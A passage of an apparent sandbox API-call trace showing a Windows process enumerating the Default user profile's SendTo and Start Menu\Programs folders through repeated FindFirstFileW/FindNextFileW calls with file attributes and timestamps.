lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", lpFilePart=0x0) returned 0x39 [0210.407] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.409] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.409] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compressed (zipped) Folder.ZFSendToTarget", cAlternateFileName="COMPRE~1.ZFS")) returned 1 [0210.410] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop (create shortcut).DeskLink", cAlternateFileName="DESKTO~1.DES")) returned 1 [0210.410] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee2becc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0210.410] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x571e447b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x571e447b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x571e447b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fax Recipient.lnk", cAlternateFileName="")) returned 1 [0210.410] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973fb817, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 1 [0210.410] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.410] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.412] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", lpFilePart=0x0) returned 0x39 [0210.412] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0210.413] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.413] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compressed (zipped) Folder.ZFSendToTarget", cAlternateFileName="COMPRE~1.ZFS")) returned 1 [0210.413] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop (create shortcut).DeskLink", cAlternateFileName="DESKTO~1.DES")) returned 1 [0210.414] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973d55c1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee2becc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0210.414] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x571e447b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x571e447b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x571e447b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fax Recipient.lnk", cAlternateFileName="")) returned 1 [0210.414] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973fb817, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 1 [0210.414] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a4145, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x973fb817, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x973fb817, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 0 [0210.414] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0210.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.416] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x3d [0210.416] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.417] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.417] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0210.417] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0210.417] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.418] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", lpFilePart=0x0) returned 0x3d [0210.418] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.418] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.418] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0210.419] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.419] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0210.419] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x46 [0210.419] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0210.649] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.649] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0210.649] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0210.650] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0210.650] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0210.650] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0210.651] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 0 [0210.651] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0210.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0210.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0210.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0210.652] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", lpFilePart=0x0) returned 0x46 [0210.652] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0210.653] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.654] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0210.654] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0210.654] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0210.654] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37ca39c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37ca39c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0210.654] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf639e71, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0210.655] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x0, 